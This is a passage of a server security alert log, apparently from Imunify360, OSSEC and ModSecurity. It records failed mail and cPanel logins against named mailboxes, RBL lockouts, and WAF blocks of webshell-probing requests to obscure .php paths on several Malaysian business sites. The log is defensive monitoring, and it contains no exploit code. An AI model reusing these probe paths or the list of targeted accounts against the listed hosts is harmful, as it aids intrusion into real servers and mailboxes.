name: Imunify PAM. The IP has been locked by RBL
abuser: 89.186.21.118
country_id: 798544
description:
Jan 12 23:53:59 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.186.21.118 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.186.21.118
country_id: 798544
description:
Jan 12 23:54:12 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.186.21.118 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.134.227
country_id: 690791
description:
Jan 12 23:54:20 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.134.227 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.61.97.144
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:23-55.45.61.97.144||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.136.24.129
country_id: 1210997
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/app/Http/Requests/Admin/UpdateEmployeesRequest.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/about-us/images/sliders/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/about-us||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.163.201.72
country_id: 3469034
description:
2026-01-13 00:00:41 H=([45.163.201.72]) [45.163.201.72]:47534 F=<shihui@pftfood.com> rejected RCPT <shihui@pftfood.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.163.201.72
country_id: 3469034
description:
2026-01-13 00:01:24 H=([45.163.201.72]) [45.163.201.72]:48473 F=<shihui@pftfood.com> rejected RCPT <shihui@pftfood.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.163.201.72
country_id: 3469034
description:
2026-01-13 00:02:47 H=([45.163.201.72]) [45.163.201.72]:47265 F=<shihui@pftfood.com> rejected RCPT <shihui@pftfood.com>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 00:03:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58465: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.37.22
country_id: 3469034
description:
Jan 13 00:02:29 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.37.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 00:03:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58466: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/news-n-events/img/img/demos/img/img/img/img/index.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.189.29.56
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=382656 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.172.87.185
country_id: 1814991
description:
2026-01-13 00:07:45 dovecot_login authenticator failed for H=([180.172.87.185]) [180.172.87.185]:35996: 535 Incorrect authentication data (set_id=admin@astlog.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 180.172.87.185
country_id: 1814991
description:
Jan 13 00:07:43 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 180.172.87.185 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.113.232.14
country_id: 953987
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/our-certifications.html HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 204.236.250.147
country_id: 6252001
domain: www.kimmark.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:7.62||T:APACHE||RA:204.236.250.147||TA:204.236.250.147||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 91.92.240.254
country_id: 2921044
description:
2026-01-13 00:09:29 H=([91.92.240.254]) [91.92.240.254]:53477 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<sale@generaltradinglite.com> rejected RCPT <enquiry@symphony-led.com>: SPF: 91.92.240.254 is not allowed to send mail from generaltradinglite.com


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.238
country_id: 6252001
description:
2026-01-13  0:12:07 2482515 [Warning] Aborted connection 2482515 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.238' (This connection closed normally without authentication)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 102.209.220.93
country_id: 2287781
description:
2026-01-13 00:12:14 H=([102.209.220.93]) [102.209.220.93]:5364 F=<teng@pftfood.com> rejected RCPT <teng@pftfood.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 188.236.57.6
country_id: 285570
description:
2026-01-13 00:12:18 H=([188.236.57.6]) [188.236.57.6]:33124 F=<tung@pftfood.com> rejected RCPT <tung@pftfood.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 188.236.57.6
country_id: 285570
description:
2026-01-13 00:13:14 H=([188.236.57.6]) [188.236.57.6]:33567 F=<tung@pftfood.com> rejected RCPT <tung@pftfood.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 102.209.220.93
country_id: 2287781
description:
2026-01-13 00:13:20 H=([102.209.220.93]) [102.209.220.93]:5289 F=<teng@pftfood.com> rejected RCPT <teng@pftfood.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 188.236.57.6
country_id: 285570
description:
2026-01-13 00:14:36 H=([188.236.57.6]) [188.236.57.6]:33756 F=<tung@pftfood.com> rejected RCPT <tung@pftfood.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 102.209.220.93
country_id: 2287781
description:
2026-01-13 00:14:43 H=([102.209.220.93]) [102.209.220.93]:5328 F=<teng@pftfood.com> rejected RCPT <teng@pftfood.com>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.0.165.219
country_id: 1605651
description:
2026-01-13 00:14:47 dovecot_login authenticator failed for H=([106.0.165.219]) [106.0.165.219]:39366: 535 Incorrect authentication data (set_id=william.goh@manforce.net)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.45
country_id: 6252001
description:
2026-01-13  0:15:04 2482698 [Warning] Aborted connection 2482698 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.45' (This connection closed normally without authentication)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 188.130.128.166
country_id: 2017370
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:00-14.188.130.128.166||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.0.165.219
country_id: 1605651
description:
Jan 13 00:14:45 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.0.165.219 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.4.81.106
country_id: 1562822
description:
2026-01-13 00:16:09 dovecot_login authenticator failed for H=([117.4.81.106]) [117.4.81.106]:50930: 535 Incorrect authentication data (set_id=admin@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.55.85.196
country_id: 294640
description:
2026-01-13 00:16:51 dovecot_plain authenticator failed for H=(osessiston) [2.55.85.196]:39402: 535 Incorrect authentication data (set_id=hello@kimmark.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.128.35
country_id: 1880251
domain: www.fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/print-2/images/resource/about.php||SC:/home2/fkrcom/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.27.99.38
country_id: 878675
description:
Jan 13 00:19:59 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.27.99.38 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.27.99.38
country_id: 878675
description:
2026-01-13 00:20:01 dovecot_login authenticator failed for H=(ADMIN) [196.27.99.38]:11023: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.27.99.38
country_id: 878675
description:
2026-01-13 00:20:35 dovecot_login authenticator failed for H=(ADMIN) [196.27.99.38]:60334: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.0.224.100
country_id: 3469034
description:
Jan 13 00:20:48 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.0.224.100 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.27.99.38
country_id: 878675
description:
Jan 13 00:20:33 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.27.99.38 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.28.177.141
country_id: 2017370
description:
2026-01-13 00:21:17 dovecot_plain authenticator failed for H=(quable) [37.28.177.141]:6333: 535 Incorrect authentication data (set_id=ivy@kimmark.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.208.107.110
country_id: 3175395
description:
Jan 13 00:21:08 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.208.107.110 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.28.177.141
country_id: 2017370
description:
Jan 13 00:21:15 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.28.177.141 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/services/transportation-radioactive-materials/images/sliders/osl.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.26.227.179
country_id: 6252001
description:
[2026-01-13 00:28:36 +0800] info [webmaild] 216.26.227.179 - itdept@ajplantations.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/about-us/images/sliders/cdn-cgi/l/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/about-us||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.39
country_id: 1643084
description:
2026-01-13 00:29:04 dovecot_login authenticator failed for H=([157.15.40.39]) [157.15.40.39]:47292: 535 Incorrect authentication data (set_id=hapiz@dsc-expat.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/sliders/cdn-cgi/l/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.124.174
country_id: 1269750
description:
2026-01-13 00:30:36 dovecot_login authenticator failed for H=([182.95.124.174]) [182.95.124.174]:33042: 535 Incorrect authentication data (set_id=mohamad.haznil@manforce.net)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 135.119.112.78
country_id: 6252001
description:
Jan 13 00:30:46 sv3 pure-ftpd[3665015]: (?@135.119.112.78) [INFO] New connection from 135.119.112.78


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 172.174.211.117
country_id: 6252001
description:
Jan 13 00:30:51 sv3 pure-ftpd[3665059]: (?@172.174.211.117) [INFO] New connection from 172.174.211.117


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 00:31:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58497: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.124.174
country_id: 1269750
description:
Jan 13 00:30:34 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.124.174 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.144
country_id: 298795
description:
Jan 13 00:31:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 00:31:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58498: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.125.153.244
country_id: 3469034
description:
Jan 13 00:32:16 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.125.153.244 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.0.123.108
country_id: 3469034
description:
Jan 13 00:36:39 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.0.123.108 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.129.104
country_id: 3469034
description:
Jan 13 00:38:00 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.129.104 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.227.197
country_id: 1269750
description:
Jan 13 00:38:29 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.227.197 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/demos/img/img/new-development.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.129.104
country_id: 3469034
description:
Jan 13 00:38:08 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.129.104 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.92.128.220
country_id: 1814991
description:
2026-01-13 00:38:17 dovecot_login authenticator failed for H=([127.0.0.1]) [211.92.128.220]:37999: 535 Incorrect authentication data (set_id=bptioh@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.232.174.16
country_id: 2017370
description:
2026-01-13 00:38:25 dovecot_login authenticator failed for H=([127.0.0.1]) [37.232.174.16]:53168: 535 Incorrect authentication data (set_id=bptioh)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/img/photos/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/img||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.154.205.102
country_id: 2510769
description:
Jan 13 00:40:08 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.154.205.102 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/portfolio/img/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.96.99.199
country_id: 3175395
description:
Jan 13 00:40:23 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.96.99.199 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.227.99.87
country_id: 1668284
description:
Jan 13 00:41:27 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.227.99.87 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/portfolio/img/img/img/demos/img/img/img/img/img/index.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/portfolio/img/img/demos/img/img/img/img/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.131.240.7
country_id: 798544
description:
Jan 13 00:43:32 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.131.240.7 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/fphortier/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 140.179.88.240
country_id: 1814991
domain: gagasanteguh.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.7204.55 Safari/537.36||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 140.179.102.136
country_id: 1814991
domain: gagasanteguh.com.my
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 13; PFFM10 Build/TP1A.220905.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36 aweme_250000 JsSdk/1.0 NetType/WIFI Channel/31725782a AppName/aweme app_version/25.0.0 ByteLocale/zh-CN Region/CN AppSkin/white AppTheme/light BULLET/1 BytedanceWebview/d8a21c6 TTWebView/0881130048402||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/plug/sms/img/product.php||SC:/home2/pspolycom/public_html/plug||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.214.108.39
country_id: 3469034
description:
2026-01-13 00:45:45 dovecot_login authenticator failed for H=([127.0.0.1]) [179.214.108.39]:48374: 535 Incorrect authentication data (set_id=jessieteoh@essemgroup.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/img/photos/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/company.php||SC:/home/sutsbcom/public_html/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.13.26.184
country_id: 1814991
description:
2026-01-13 00:45:54 dovecot_login authenticator failed for H=([127.0.0.1]) [27.13.26.184]:40097: 535 Incorrect authentication data (set_id=jessieteoh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.22
country_id: 241170
description:
Jan 13 00:46:04 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.22 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/images/portfolio/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/osl.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.22
country_id: 241170
description:
Jan 13 00:47:53 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.4.81.106
country_id: 1562822
description:
2026-01-13 00:47:58 dovecot_login authenticator failed for H=([117.4.81.106]) [117.4.81.106]:50735: 535 Incorrect authentication data (set_id=admin@tujusetia.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/sliders/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 151.245.206.76
country_id: 2635167
domain: aircarbonic.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:00-48.151.245.206.76||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 82.24.237.22
country_id: 2963597
domain: aircarbonic.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:00-48.82.24.237.22||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.94.138.86
country_id: 6252001
domain: aircarbonic.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:00-48.23.94.138.86||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.26.95.245
country_id: 6252001
domain: aircarbonic.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:00-48.23.26.95.245||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.224.7.143
country_id: 1269750
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/tennis/12/470/1204892 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/images/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.116.58.168
country_id: 6252001
description:
2026-01-13 00:52:43 dovecot_login authenticator failed for H=23-116-58-168.lightspeed.frsnca.sbcglobal.net ([127.0.0.1]) [23.116.58.168]:35916: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 198.235.24.116
country_id: 6252001
description:
Jan 13 00:54:33 sv3 pure-ftpd[3678895]: (?@198.235.24.116) [INFO] New connection from 198.235.24.116


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.122.128.231
country_id: 3865483
description:
Jan 13 00:55:50 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.122.128.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.223.250.139
country_id: 2395170
description:
Jan 13 00:56:22 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.223.250.139 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 172.56.9.254
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:00-58.172.56.9.254||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 00:59:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58517: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 00:59:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58518: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/sliders/cdn-cgi/l/company.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.250.192
country_id: 3865483
description:
Jan 13 01:04:06 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.250.192 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.250.192
country_id: 3865483
description:
Jan 13 01:04:14 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.250.192 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
